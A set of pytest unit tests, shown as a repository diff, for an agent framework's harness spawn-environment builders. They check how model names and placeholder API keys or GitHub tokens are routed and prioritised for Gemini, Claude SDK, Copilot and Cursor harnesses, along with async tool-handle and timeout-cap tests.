assert env["HARNESS_ANTIGRAVITY_VERTEX"] == "1"
assert env["HARNESS_ANTIGRAVITY_PROJECT"] == "my-proj"
assert env["HARNESS_ANTIGRAVITY_LOCATION"] == "us-central1"
def test_databricks_auth_ignored_with_warning(caplog: pytest.LogCaptureFixture) -> None:
"""``DatabricksAuth`` is unsupported: no env var emitted, and a warning logged."""
with caplog.at_level(logging.WARNING, logger=wf.__name__):
env = _build_antigravity_spawn_env(
_make_spec(model="gemini-3-pro", auth=DatabricksAuth(profile="dev"))
)
# No Databricks profile var — antigravity has no Databricks/gateway path.
assert "HARNESS_ANTIGRAVITY_DATABRICKS_PROFILE" not in env
assert "HARNESS_ANTIGRAVITY_API_KEY" not in env
# The user is told their Databricks auth was ignored rather than silently
# dropped (which would look like the key "didn't take").
assert any("Databricks" in rec.message for rec in caplog.records)
def test_legacy_profile_is_ignored() -> None:
"""An ``executor.config['profile']`` does not produce any Databricks var."""
env = _build_antigravity_spawn_env(_make_spec(model="gemini-3-pro", profile="my-profile"))
assert "HARNESS_ANTIGRAVITY_DATABRICKS_PROFILE" not in env
# Only the model var — a legacy profile is meaningless for this harness.
assert env == {"HARNESS_ANTIGRAVITY_MODEL": "gemini-3-pro"}
def test_databricks_model_prefix_not_auto_routed() -> None:
"""A ``databricks-`` model no longer auto-selects a Databricks profile."""
env = _build_antigravity_spawn_env(_make_spec(model="databricks-gpt-5-5", profile=None))
# The old builder set DEFAULT here; antigravity has no Databricks path now.
assert "HARNESS_ANTIGRAVITY_DATABRICKS_PROFILE" not in env
assert env == {"HARNESS_ANTIGRAVITY_MODEL": "databricks-gpt-5-5"}
def test_no_auth_non_databricks_model_is_minimal() -> None:
"""A plain Gemini model with no auth yields only the model var.
The wrap then falls back to the SDK's ambient
``GEMINI_API_KEY`` / ``ANTIGRAVITY_API_KEY``.
"""
env = _build_antigravity_spawn_env(_make_spec(model="gemini-3-pro", profile=None))
assert env == {"HARNESS_ANTIGRAVITY_MODEL": "gemini-3-pro"}
def test_provider_routing_for_antigravity_fails_loud() -> None:
"""Routing the antigravity harness through a generic provider raises loudly.
Antigravity is Gemini-native (api_key / Vertex) with no OpenAI-compatible
base_url, so it must never enter ``configure_agent_harness_with_provider``
(which emits ``HARNESS_*_GATEWAY_*`` env vars the executor can't use). The
guard fires before the entry is inspected, so a stand-in entry is fine.
A regression that dropped the guard would silently emit inert gateway env
vars instead of failing.
"""
env: dict[str, str] = {}
# A stand-in entry: the antigravity guard raises before the entry is ever
# inspected, so its concrete type is irrelevant (hence the arg-type ignore).
entry = SimpleNamespace(kind="key", name="some-openai-provider")
with pytest.raises(OmnigentError) as exc_info:
configure_agent_harness_with_provider(env, entry, harness_type="antigravity") # type: ignore[arg-type]
assert exc_info.value.code == ErrorCode.INVALID_INPUT
# The guard fires first, so nothing is written to env before the raise.
assert env == {}
def test_stored_gemini_key_used_when_spec_has_no_auth(
monkeypatch: pytest.MonkeyPatch, _isolate_global_config: Path
) -> None:
"""A Gemini key registered via ``omnigent setup`` (the ``antigravity:``
block) flows when the spec declares no auth — so a user need not export it
in every shell."""
monkeypatch.setenv("GEMINI_KEY_SRC", "AIza_stored_123")
_write_antigravity_config(_isolate_global_config, "env:GEMINI_KEY_SRC")
env = _build_antigravity_spawn_env(_make_spec(model="gemini-3-pro", auth=None))
assert env["HARNESS_ANTIGRAVITY_API_KEY"] == "AIza_stored_123"
def test_spec_api_key_auth_wins_over_stored_key(
monkeypatch: pytest.MonkeyPatch, _isolate_global_config: Path
) -> None:
"""An explicit api-key auth on the spec takes precedence over the stored key.
Failure means a per-agent ``executor.auth`` is silently overridden by the
machine-wide default — the spec must always win.
"""
monkeypatch.setenv("GEMINI_KEY_SRC", "AIza_stored_123")
_write_antigravity_config(_isolate_global_config, "env:GEMINI_KEY_SRC")
env = _build_antigravity_spawn_env(
_make_spec(model="gemini-3-pro", auth=ApiKeyAuth(api_key="AIza_explicit_999"))
)
assert env["HARNESS_ANTIGRAVITY_API_KEY"] == "AIza_explicit_999"
def test_stored_key_used_and_global_auth_ignored(
monkeypatch: pytest.MonkeyPatch, _isolate_global_config: Path
) -> None:
"""The dedicated ``antigravity:`` block is used; the global ``auth:`` is ignored.
The Gemini-specific block authenticates a no-auth spec, and a present global
``auth:`` key (meant for another harness) has no influence at all. Against
the old behavior the global key was a fallback tier; now it is never read.
"""
monkeypatch.setattr(wf, "_load_global_auth", lambda: ApiKeyAuth(api_key="sk-openai-global"))
monkeypatch.setenv("GEMINI_KEY_SRC", "AIza_stored_123")
_write_antigravity_config(_isolate_global_config, "env:GEMINI_KEY_SRC")
env = _build_antigravity_spawn_env(_make_spec(model="gemini-3-pro", auth=None))
assert env["HARNESS_ANTIGRAVITY_API_KEY"] == "AIza_stored_123"
def test_databricks_auth_does_not_adopt_stored_key(
monkeypatch: pytest.MonkeyPatch, _isolate_global_config: Path
) -> None:
"""An explicit ``DatabricksAuth`` never adopts the stored Gemini key.
The stored-key fallback applies ONLY to a spec with no auth at all; a
databricks-routed spec has explicitly chosen a non-Gemini credential, so
pulling the Gemini key would mis-authenticate the run.
"""
monkeypatch.setenv("GEMINI_KEY_SRC", "AIza_stored_123")
_write_antigravity_config(_isolate_global_config, "env:GEMINI_KEY_SRC")
env = _build_antigravity_spawn_env(
_make_spec(model="gemini-3-pro", auth=DatabricksAuth(profile="oss"))
)
assert "HARNESS_ANTIGRAVITY_API_KEY" not in env
def test_ambient_gemini_key_adopted_when_no_config(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""With no spec/stored/global key, an ambient GEMINI_API_KEY is adopted.
Mirrors the other key-only SDK harnesses: an exported key (or a host
launched with one) authenticates a no-auth spec without per-spec config.
"""
monkeypatch.setattr(wf, "_load_global_auth", lambda: None)
monkeypatch.setenv("GEMINI_API_KEY", "AIza_ambient_456")
env = _build_antigravity_spawn_env(_make_spec(model="gemini-3-pro", auth=None))
assert env["HARNESS_ANTIGRAVITY_API_KEY"] == "AIza_ambient_456"
def test_ambient_gemini_key_wins_over_global_openai_auth(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""An ambient ``GEMINI_API_KEY`` is used while a global OpenAI ``auth:`` is ignored.
This is the core credential-safety guarantee: with no spec auth and no stored
``antigravity:`` block, a present global ``auth:`` (the OpenAI/gateway
``sk-…`` key) must not short-circuit the user's ambient Gemini key. Against
the old global-``auth:`` fallback the builder would have shipped
``sk-openai-global`` instead of the real Gemini key.
"""
monkeypatch.setattr(wf, "_load_global_auth", lambda: ApiKeyAuth(api_key="sk-openai-global"))
monkeypatch.setenv("GEMINI_API_KEY", "AIza_ambient_456")
env = _build_antigravity_spawn_env(_make_spec(model="gemini-3-pro", auth=None))
assert env["HARNESS_ANTIGRAVITY_API_KEY"] == "AIza_ambient_456"
def test_unresolvable_stored_key_is_omitted(_isolate_global_config: Path) -> None:
"""A dangling stored reference resolves softly to no env var.
The ``antigravity:`` block names ``env:GEMINI_KEY_SRC`` but the var is
unset, so the builder must omit ``HARNESS_ANTIGRAVITY_API_KEY`` (leaving the
SDK's ambient / Vertex creds to satisfy auth) rather than crash the spawn.
"""
_write_antigravity_config(_isolate_global_config, "env:GEMINI_KEY_SRC")
env = _build_antigravity_spawn_env(_make_spec(model="gemini-3-pro", auth=None))
assert "HARNESS_ANTIGRAVITY_API_KEY" not in env
@@ -0,0 +1,67 @@
"""
Tests for the LLM-facing async-handle shape — ``_AsyncToolHandle`` and
``_async_handle_message`` in :mod:`omnigent.runtime.workflow`.
"""
from __future__ import annotations
import json
from omnigent.runtime.workflow import (
_async_handle_message,
_AsyncToolHandle,
)
# ─── _AsyncToolHandle / _async_handle_message ────────────────
def test_handle_message_names_task_id_and_tool_name() -> None:
"""The LLM-facing message embeds both the task_id and tool name (G12).
Without the literal task_id in the message, the LLM has no way to
know what to pass to ``sys_cancel_task`` if it wants to abort.
Without the tool name, the LLM may forget which call the handle
corresponds to when it issued multiple parallel async calls.
"""
text = _async_handle_message("tsk_async_42", "train_model")
assert "tsk_async_42" in text
assert "train_model" in text
# Mentions sys_cancel_task so the LLM knows it can abort —
# check_task was dropped per design step 11; results
# auto-deliver via the inbox instead.
assert "sys_cancel_task" in text
def test_handle_serializes_to_json_with_required_fields() -> None:
"""``to_handle_json`` produces a JSON dict the LLM can parse."""
handle = _AsyncToolHandle(
task_id="tsk_h1",
tool_name="long_running",
status="in_progress",
message="msg body",
)
parsed = json.loads(handle.to_handle_json())
# All four documented fields must be present — missing any of
# them would force the LLM to guess (e.g. status defaulting
# silently to "completed" if the field is absent).
assert parsed == {
"task_id": "tsk_h1",
"tool_name": "long_running",
"status": "in_progress",
"message": "msg body",
}
def test_handle_status_is_in_progress_at_creation() -> None:
"""Fresh handles always report ``in_progress`` (D7)."""
# The terminal status arrives later via async_work_complete.
# If the handle reported "completed" at creation, the LLM
# would assume the tool is done and not wait for the
# auto-delivered result.
handle = _AsyncToolHandle(
task_id="tsk_h2",
tool_name="x",
status="in_progress",
message="",
)
assert handle.status == "in_progress"
+97
View File
@@ -0,0 +1,97 @@
"""Tests for omnigent.runtime.caps."""
from __future__ import annotations
import pytest
from omnigent.runtime.caps import RuntimeCaps
from omnigent.spec.types import ExecutorSpec
def test_runtime_caps_default_value() -> None:
"""RuntimeCaps with no args uses the 7200s default."""
caps = RuntimeCaps()
# Default execution_timeout is 7200s per the dataclass definition.
# Failure means the default was changed without updating dependents.
assert caps.execution_timeout == 7200
def test_runtime_caps_custom_value() -> None:
"""RuntimeCaps accepts a custom execution_timeout."""
caps = RuntimeCaps(execution_timeout=3600)
# Custom value should override the default.
# Failure means the constructor ignores the argument.
assert caps.execution_timeout == 3600
def test_execution_config_default_values() -> None:
"""
ExecutorSpec defaults match the values the runtime relies on.
Verifies timeout=3600 and max_iterations=1000 so that changes to
defaults are caught before they silently alter clamping behavior.
"""
config = ExecutorSpec()
# Default timeout is 3600s per the dataclass definition.
# Failure means the default shifted, which changes clamping outcomes.
assert config.timeout == 3600
# Default max_iterations is 1000 per the dataclass definition.
# Failure means the iteration ceiling changed without updating dependents.
assert config.max_iterations == 1000
@pytest.mark.parametrize(
("spec_timeout", "cap_timeout", "expected"),
[
pytest.param(
1800,
7200,
1800,
id="spec_lower_than_cap_uses_spec",
),
pytest.param(
7200,
3600,
3600,
id="cap_lower_than_spec_uses_cap",
),
pytest.param(
3600,
3600,
3600,
id="equal_values_returns_same",
),
],
)
def test_execution_timeout_resolution(
spec_timeout: int,
cap_timeout: int,
expected: int,
) -> None:
"""
Verify ``min(spec.executor.timeout, caps.execution_timeout)`` clamping.
The runtime resolves the effective execution timeout as
``min(spec.executor.timeout, caps.execution_timeout)``. This test
constructs both dataclasses and applies the same ``min()`` logic to
confirm the resolved value matches expectations.
:param spec_timeout: The agent spec's ``executor.timeout`` value
in seconds, e.g. ``1800``.
:param cap_timeout: The operator cap's ``execution_timeout`` value
in seconds, e.g. ``7200``.
:param expected: The effective timeout after clamping, e.g. ``1800``.
"""
config = ExecutorSpec(timeout=spec_timeout)
caps = RuntimeCaps(execution_timeout=cap_timeout)
resolved = min(config.timeout, caps.execution_timeout)
# The resolved timeout must equal the smaller of the two inputs.
# Failure means the dataclass fields don't hold the values passed
# to their constructors, which would break the runtime's clamping.
assert resolved == expected
+245
View File
@@ -0,0 +1,245 @@
"""
Tests for ``_build_claude_sdk_spawn_env`` in
``omnigent/runtime/workflow.py``.
The spawn-env builder maps ``spec.executor`` fields to
``HARNESS_CLAUDE_SDK_*`` env vars that the claude-sdk harness wrap reads
at executor-construction time. Mirrors the pattern of
``test_openai_agents_sdk_spawn_env.py`` for the openai-agents harness.
This is a unit test — no subprocess spawn, no real claude CLI.
"""
from __future__ import annotations
from pathlib import Path
import pytest
import yaml as _yaml
from omnigent.runtime.workflow import _build_claude_sdk_spawn_env
from omnigent.spec.types import (
AgentSpec,
ApiKeyAuth,
DatabricksAuth,
ExecutorSpec,
LLMConfig,
)
@pytest.fixture(autouse=True)
def _isolate_global_config(monkeypatch: pytest.MonkeyPatch, tmp_path: Path) -> None:
"""
Point OMNIGENT_CONFIG_HOME at an empty temp dir for every test in
this file so tests that don't explicitly set up a global config are
not affected by the developer's real ``~/.omnigent/config.yaml``.
:param monkeypatch: Pytest monkeypatch fixture.
:param tmp_path: Temporary directory for the isolated config.
"""
monkeypatch.setenv("OMNIGENT_CONFIG_HOME", str(tmp_path))
def _make_spec(
*,
model: str | None = "databricks-claude-sonnet-4-6",
profile: str | None = None,
auth: ApiKeyAuth | DatabricksAuth | None = None,
) -> AgentSpec:
"""
Build a minimal claude-sdk :class:`AgentSpec` for spawn-env tests.
:param model: Model identifier threaded into executor config and
``spec.llm``, e.g. ``"databricks-claude-sonnet-4-6"``.
:param profile: Legacy profile set via ``executor.config["profile"]``.
``None`` omits it (no profile declared in YAML).
:param auth: Typed auth object placed on ``spec.executor.auth``.
``None`` omits it (harness falls back to legacy / global config).
:returns: A populated :class:`AgentSpec`.
"""
config: dict[str, object] = {"harness": "claude-sdk"}
if model is not None:
config["model"] = model
if profile is not None:
config["profile"] = profile
return AgentSpec(
spec_version=1,
name="test-claude-sdk",
instructions="You are a test agent.",
executor=ExecutorSpec(type="omnigent", config=config, model=model, auth=auth),
llm=LLMConfig(model=model) if model is not None else None,
)
def test_databricks_auth_sets_databricks_env_vars() -> None:
"""
``executor.auth: {type: databricks, profile: …}`` sets
``HARNESS_CLAUDE_SDK_GATEWAY=true`` and
``HARNESS_CLAUDE_SDK_DATABRICKS_PROFILE``.
Failure means a spec that explicitly declares Databricks auth still
gets routed to api.anthropic.com and fails with "model not found".
"""
spec = _make_spec(auth=DatabricksAuth(profile="my-profile"))
env = _build_claude_sdk_spawn_env(spec, workdir=None)
assert env["HARNESS_CLAUDE_SDK_GATEWAY"] == "true"
assert env["HARNESS_CLAUDE_SDK_DATABRICKS_PROFILE"] == "my-profile"
def test_api_key_auth_sets_helper_env_var() -> None:
"""
``executor.auth: {type: api_key, api_key: …}`` sets
``HARNESS_CLAUDE_SDK_API_KEY_HELPER`` to a printf shell command.
Failure means the API key never reaches the Claude CLI's
``settings.apiKeyHelper`` and the agent falls back to subscription
auth silently.
"""
spec = _make_spec(model=None, auth=ApiKeyAuth(api_key="sk-ant-test-123"))
env = _build_claude_sdk_spawn_env(spec, workdir=None)
assert "HARNESS_CLAUDE_SDK_API_KEY_HELPER" in env
# The helper command must echo the literal key (shlex-quoted for safety).
assert "sk-ant-test-123" in env["HARNESS_CLAUDE_SDK_API_KEY_HELPER"]
# api_key auth does not trigger Databricks routing.
assert "HARNESS_CLAUDE_SDK_GATEWAY" not in env
def test_api_key_auth_with_special_chars_is_shell_safe() -> None:
"""
API keys containing shell-special characters (spaces, quotes, ``$``)
are safely quoted in the helper command via ``shlex.quote``.
Failure means a key like ``sk-$weird`` could be misinterpreted by
the shell when the Claude CLI invokes the helper command.
"""
spec = _make_spec(model=None, auth=ApiKeyAuth(api_key="sk-$weird 'key'"))
env = _build_claude_sdk_spawn_env(spec, workdir=None)
helper = env["HARNESS_CLAUDE_SDK_API_KEY_HELPER"]
# The raw key must NOT appear unquoted.
assert "sk-$weird 'key'" not in helper
# shlex-quoted form must be present.
assert "sk-" in helper
def test_global_config_databricks_auth_applied_when_spec_has_no_auth(
monkeypatch: pytest.MonkeyPatch,
tmp_path: Path,
) -> None:
"""
When the spec declares no auth, ``_load_global_auth()`` is consulted
and a global ``auth: {type: databricks, profile: …}`` is applied.
Failure means ``omnigent setup`` auth configuration is silently
ignored for claude-sdk agents (it was applied to openai-agents but
not claude-sdk before this fix).
"""
cfg_path = tmp_path / "config.yaml"
cfg_path.write_text(_yaml.dump({"auth": {"type": "databricks", "profile": "global-profile"}}))
monkeypatch.setenv("OMNIGENT_CONFIG_HOME", str(tmp_path))
spec = _make_spec(auth=None, profile=None)
env = _build_claude_sdk_spawn_env(spec, workdir=None)
assert env.get("HARNESS_CLAUDE_SDK_GATEWAY") == "true"
assert env.get("HARNESS_CLAUDE_SDK_DATABRICKS_PROFILE") == "global-profile"
def test_global_config_not_applied_when_spec_has_legacy_profile(
monkeypatch: pytest.MonkeyPatch,
tmp_path: Path,
) -> None:
"""
When the spec uses a legacy ``executor.config["profile"]``, the global
config ``auth:`` block is not applied — spec-level auth always wins.
Failure means a YAML with ``executor.profile: oss`` gets silently
overridden by the user's global api_key config.
"""
cfg_path = tmp_path / "config.yaml"
cfg_path.write_text(_yaml.dump({"auth": {"type": "api_key", "api_key": "sk-global"}}))
monkeypatch.setenv("OMNIGENT_CONFIG_HOME", str(tmp_path))
spec = _make_spec(auth=None, profile="oss-from-spec")
env = _build_claude_sdk_spawn_env(spec, workdir=None)
# Legacy profile must be used; global api_key must not interfere.
assert env.get("HARNESS_CLAUDE_SDK_GATEWAY") == "true"
assert env.get("HARNESS_CLAUDE_SDK_DATABRICKS_PROFILE") == "oss-from-spec"
assert "HARNESS_CLAUDE_SDK_API_KEY_HELPER" not in env
def _ucode_state_without_model(monkeypatch: pytest.MonkeyPatch, *, model: str | None):
"""
Mock ucode resolution to a claude agent with the given model.
Builds a workspace state whose ``claude`` agent carries a gateway URL +
auth command but ``model=model`` and no ``claude_models`` tiers, then
monkeypatches the workflow module's ucode lookups to return it.
:param monkeypatch: Pytest monkeypatch fixture.
:param model: Per-agent ucode model, e.g. ``None`` to simulate a
workspace that caches no model, or ``"databricks-claude-sonnet-4-6"``.
"""
from omnigent.onboarding.ucode_state import UcodeAgentState, UcodeWorkspaceState
state = UcodeWorkspaceState(
workspace_url="https://example.databricks.com",
claude_models={},
agents={
"claude": UcodeAgentState(
model=model,
base_url="https://example.databricks.com/ai-gateway/anthropic",
auth_command="printf token",
)
},
)
monkeypatch.setattr(
"omnigent.runtime.workflow.get_workspace_url_for_profile",
lambda profile: "https://example.databricks.com",
)
monkeypatch.setattr(
"omnigent.runtime.workflow.read_ucode_state",
lambda workspace_url: state,
)
def test_ucode_state_without_model_falls_back_to_databricks_default(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
A modelless ucode state resolves the Databricks gateway default model.
Reproduces the nessie failure: a profile-backed claude-sdk agent with no
spec model, whose workspace ucode state caches a gateway URL but no model.
Without the producer default the CLI falls back to its host-config model
(an Anthropic-direct id the gateway rejects), so the model env var must be
set to a routable ``databricks-*`` endpoint name.
"""
_ucode_state_without_model(monkeypatch, model=None)
spec = _make_spec(model=None, profile="oss")
env = _build_claude_sdk_spawn_env(spec, workdir=None)
assert env["HARNESS_CLAUDE_SDK_GATEWAY"] == "true"
# The verified routable gateway endpoint name, not the CLI's own default.
assert env["HARNESS_CLAUDE_SDK_MODEL"] == "databricks-claude-opus-4-8"
def test_ucode_state_with_model_is_not_overridden_by_default(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
A ucode-supplied model is used as-is; the default does not clobber it.
Failure means the producer's missing-model fallback would override a
workspace that correctly caches its own model.
"""
_ucode_state_without_model(monkeypatch, model="databricks-claude-sonnet-4-6")
spec = _make_spec(model=None, profile="oss")
env = _build_claude_sdk_spawn_env(spec, workdir=None)
assert env["HARNESS_CLAUDE_SDK_MODEL"] == "databricks-claude-sonnet-4-6"
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+109
View File
@@ -0,0 +1,109 @@
"""
Tests for ``_build_copilot_spawn_env`` in ``omnigent/runtime/workflow.py``.
The spawn-env builder maps ``spec`` fields to the ``HARNESS_COPILOT_*`` env
vars the copilot harness wrap reads at first-turn time. Like the cursor builder,
copilot has NO Databricks-gateway path: only an explicit ``api_key`` auth maps
to ``HARNESS_COPILOT_GITHUB_TOKEN`` (the GitHub token), a stored ``copilot:``
block or an ambient ``GH_TOKEN`` is the no-auth fallback, and a ``DatabricksAuth``
profile is deliberately ignored. Mirrors ``test_cursor_spawn_env.py``.
This is a unit test — no subprocess spawn. End-to-end verification of the
spawn-env → wrap → executor path lives in the harness e2e tests.
"""
from __future__ import annotations
from pathlib import Path
import pytest
import yaml
from omnigent.runtime.workflow import _build_copilot_spawn_env
from omnigent.spec.types import (
AgentSpec,
ApiKeyAuth,
DatabricksAuth,
ExecutorSpec,
LLMConfig,
)
@pytest.fixture(autouse=True)
def _isolate_global_config(monkeypatch: pytest.MonkeyPatch, tmp_path: Path) -> Path:
"""Isolate the global config to an empty tmp dir and clear ambient GitHub
tokens so the no-auth / DatabricksAuth cases are deterministic."""
monkeypatch.setenv("OMNIGENT_CONFIG_HOME", str(tmp_path))
monkeypatch.setenv("OMNIGENT_DISABLE_KEYRING", "1")
for var in ("COPILOT_GITHUB_TOKEN", "GH_TOKEN", "GITHUB_TOKEN"):
monkeypatch.delenv(var, raising=False)
return tmp_path
def _make_spec(
*,
model: str | None = "claude-haiku-4.5",
name: str = "test-copilot",
auth: ApiKeyAuth | DatabricksAuth | None = None,
) -> AgentSpec:
"""Build a minimal copilot :class:`AgentSpec` for the spawn-env tests."""
config: dict[str, object] = {"harness": "copilot"}
if model is not None:
config["model"] = model
return AgentSpec(
spec_version=1,
name=name,
instructions="You are a test agent.",
executor=ExecutorSpec(type="omnigent", config=config, model=model, auth=auth),
llm=LLMConfig(model=model) if model is not None else None,
)
def test_model_and_name_threaded() -> None:
env = _build_copilot_spawn_env(_make_spec(model="gpt-5-mini", name="cop"))
assert env["HARNESS_COPILOT_MODEL"] == "gpt-5-mini"
assert env["HARNESS_COPILOT_AGENT_NAME"] == "cop"
# skills filter is always set (parity with peer builders).
assert "HARNESS_COPILOT_SKILLS_FILTER" in env
def test_api_key_auth_maps_to_github_token() -> None:
env = _build_copilot_spawn_env(_make_spec(auth=ApiKeyAuth(api_key="gho_fromspec")))
assert env["HARNESS_COPILOT_GITHUB_TOKEN"] == "gho_fromspec"
def test_databricks_auth_is_ignored() -> None:
# A Databricks profile has no copilot equivalent and must not produce a token.
env = _build_copilot_spawn_env(_make_spec(auth=DatabricksAuth(profile="oss")))
assert "HARNESS_COPILOT_GITHUB_TOKEN" not in env
def test_no_auth_falls_back_to_ambient_token(monkeypatch: pytest.MonkeyPatch) -> None:
monkeypatch.setenv("GH_TOKEN", "gho_ambient")
env = _build_copilot_spawn_env(_make_spec(auth=None))
assert env["HARNESS_COPILOT_GITHUB_TOKEN"] == "gho_ambient"
def test_no_auth_prefers_copilot_specific_env(monkeypatch: pytest.MonkeyPatch) -> None:
# COPILOT_GITHUB_TOKEN wins over GH_TOKEN (the CLI/SDK precedence order).
monkeypatch.setenv("GH_TOKEN", "gho_gh")
monkeypatch.setenv("COPILOT_GITHUB_TOKEN", "gho_copilot")
env = _build_copilot_spawn_env(_make_spec(auth=None))
assert env["HARNESS_COPILOT_GITHUB_TOKEN"] == "gho_copilot"
def test_no_auth_prefers_stored_block_over_ambient(
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
) -> None:
(tmp_path / "config.yaml").write_text(
yaml.safe_dump({"copilot": {"github_token_ref": "env:STORED_COPILOT"}})
)
monkeypatch.setenv("STORED_COPILOT", "gho_stored")
monkeypatch.setenv("GH_TOKEN", "gho_ambient")
env = _build_copilot_spawn_env(_make_spec(auth=None))
assert env["HARNESS_COPILOT_GITHUB_TOKEN"] == "gho_stored"
def test_bundle_dir_threaded(tmp_path: Path) -> None:
env = _build_copilot_spawn_env(_make_spec(), workdir=tmp_path)
assert env["HARNESS_COPILOT_BUNDLE_DIR"] == str(tmp_path)
+258
View File
@@ -0,0 +1,258 @@
"""
Tests for ``_build_cursor_spawn_env`` in ``omnigent/runtime/workflow.py``.
The spawn-env builder maps ``spec`` fields to the ``HARNESS_CURSOR_*`` env
vars the cursor harness wrap reads at first-turn time. Unlike the
gateway-backed builders, cursor has NO Databricks-gateway path: only an
explicit ``api_key`` auth maps to ``HARNESS_CURSOR_API_KEY``, and a
``DatabricksAuth`` profile is deliberately ignored (cursor-agent talks only
to Cursor's own backend). Mirrors ``test_openai_agents_sdk_spawn_env.py``.
This is a unit test — no subprocess spawn. End-to-end verification of the
spawn-env → wrap → executor path lives in the harness e2e tests.
"""
from __future__ import annotations
from pathlib import Path
import pytest
import yaml
from omnigent.runtime.workflow import _build_cursor_spawn_env
from omnigent.spec.types import (
AgentSpec,
ApiKeyAuth,
DatabricksAuth,
ExecutorSpec,
LLMConfig,
)
@pytest.fixture(autouse=True)
def _isolate_global_config(monkeypatch: pytest.MonkeyPatch, tmp_path: Path) -> None:
"""Point OMNIGENT_CONFIG_HOME at an empty temp dir so the developer's real
``~/.omnigent/config.yaml`` can't leak in, and clear any ambient
``CURSOR_API_KEY`` so the no-auth / DatabricksAuth cases are deterministic
(the builder falls back to an ambient key — see the ambient-fallback test)."""
monkeypatch.setenv("OMNIGENT_CONFIG_HOME", str(tmp_path))
monkeypatch.delenv("CURSOR_API_KEY", raising=False)
def _make_spec(
*,
model: str | None = "gpt-5",
name: str = "test-cursor",
auth: ApiKeyAuth | DatabricksAuth | None = None,
) -> AgentSpec:
"""Build a minimal cursor :class:`AgentSpec` for the spawn-env tests."""
config: dict[str, object] = {"harness": "cursor"}
if model is not None:
config["model"] = model
return AgentSpec(
spec_version=1,
name=name,
instructions="You are a test agent.",
executor=ExecutorSpec(type="omnigent", config=config, model=model, auth=auth),
llm=LLMConfig(model=model) if model is not None else None,
)
def test_model_threads_into_env_var() -> None:
"""``executor.model`` is encoded into ``HARNESS_CURSOR_MODEL``."""
env = _build_cursor_spawn_env(_make_spec(model="gpt-5"))
assert env["HARNESS_CURSOR_MODEL"] == "gpt-5"
def test_no_model_produces_no_model_env_var() -> None:
"""A spec with no model omits ``HARNESS_CURSOR_MODEL`` (cursor's default applies)."""
env = _build_cursor_spawn_env(_make_spec(model=None))
assert "HARNESS_CURSOR_MODEL" not in env
def test_api_key_auth_sets_api_key_env_var() -> None:
"""``executor.auth: {type: api_key, ...}`` sets ``HARNESS_CURSOR_API_KEY``."""
env = _build_cursor_spawn_env(_make_spec(auth=ApiKeyAuth(api_key="cur_test_123")))
assert env["HARNESS_CURSOR_API_KEY"] == "cur_test_123"
def test_databricks_auth_does_not_set_api_key() -> None:
"""A ``DatabricksAuth`` profile has no cursor equivalent and is ignored.
Failure means a Databricks profile is mis-forwarded as a Cursor API key —
cursor-agent has no gateway path, so the only correct behaviour is to leave
auth to an inherited ``CURSOR_API_KEY`` / ``cursor-agent login``.
"""
env = _build_cursor_spawn_env(_make_spec(auth=DatabricksAuth(profile="oss")))
assert "HARNESS_CURSOR_API_KEY" not in env
def test_no_auth_omits_api_key_env_var() -> None:
"""With no spec auth and no ambient key, no ``HARNESS_CURSOR_API_KEY`` is written."""
env = _build_cursor_spawn_env(_make_spec(auth=None))
assert "HARNESS_CURSOR_API_KEY" not in env
def test_ambient_cursor_api_key_used_when_no_spec_auth(monkeypatch: pytest.MonkeyPatch) -> None:
"""With no spec api-key auth, an ambient ``CURSOR_API_KEY`` is threaded as
``HARNESS_CURSOR_API_KEY`` so a user who exported the key can run cursor
without declaring auth in the spec (the SDK needs it in the harness env)."""
monkeypatch.setenv("CURSOR_API_KEY", "crsr_ambient")
env = _build_cursor_spawn_env(_make_spec(auth=None))
assert env["HARNESS_CURSOR_API_KEY"] == "crsr_ambient"
def test_ambient_cursor_api_key_stripped_before_forwarding(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""A padded ambient ``CURSOR_API_KEY`` is cleaned before reaching the SDK."""
monkeypatch.setenv("CURSOR_API_KEY", "\ncrsr_ambient\n")
env = _build_cursor_spawn_env(_make_spec(auth=None))
assert env["HARNESS_CURSOR_API_KEY"] == "crsr_ambient"
def test_spec_api_key_wins_over_ambient(monkeypatch: pytest.MonkeyPatch) -> None:
"""An explicit spec api-key auth takes precedence over an ambient key."""
monkeypatch.setenv("CURSOR_API_KEY", "crsr_ambient")
env = _build_cursor_spawn_env(_make_spec(auth=ApiKeyAuth(api_key="crsr_spec")))
assert env["HARNESS_CURSOR_API_KEY"] == "crsr_spec"
def test_skills_filter_always_set() -> None:
"""``HARNESS_CURSOR_SKILLS_FILTER`` is always written so the wrap never
falls back to ``"all"`` and overrides an explicit ``skills: none``."""
env = _build_cursor_spawn_env(_make_spec())
assert "HARNESS_CURSOR_SKILLS_FILTER" in env
def test_name_threads_into_agent_name_env_var() -> None:
"""``spec.name`` is forwarded as ``HARNESS_CURSOR_AGENT_NAME``."""
env = _build_cursor_spawn_env(_make_spec(name="polly"))
assert env["HARNESS_CURSOR_AGENT_NAME"] == "polly"
def test_workdir_threads_into_bundle_dir_env_var(tmp_path: Path) -> None:
"""A bundle ``workdir`` is forwarded as ``HARNESS_CURSOR_BUNDLE_DIR``."""
env = _build_cursor_spawn_env(_make_spec(), workdir=tmp_path)
assert env["HARNESS_CURSOR_BUNDLE_DIR"] == str(tmp_path)
def test_no_workdir_omits_bundle_dir_env_var() -> None:
"""No ``workdir`` omits ``HARNESS_CURSOR_BUNDLE_DIR``."""
env = _build_cursor_spawn_env(_make_spec())
assert "HARNESS_CURSOR_BUNDLE_DIR" not in env
def _write_cursor_config(tmp_path: Path, ref: str) -> None:
"""Write a ``cursor:`` block referencing *ref* into the isolated config.
:param tmp_path: The isolated ``OMNIGENT_CONFIG_HOME`` (see the autouse
fixture).
:param ref: The secret reference to record, e.g. ``"env:CURSOR_KEY_SRC"``.
"""
(tmp_path / "config.yaml").write_text(yaml.safe_dump({"cursor": {"api_key_ref": ref}}))
def test_stored_cursor_key_used_when_spec_has_no_auth(
monkeypatch: pytest.MonkeyPatch, tmp_path: Path
) -> None:
"""A CURSOR_API_KEY registered via ``omnigent setup`` flows when the spec
declares no auth — so a user need not export it in every shell."""
monkeypatch.setenv("CURSOR_KEY_SRC", "crsr_stored_123")
_write_cursor_config(tmp_path, "env:CURSOR_KEY_SRC")
env = _build_cursor_spawn_env(_make_spec(auth=None))
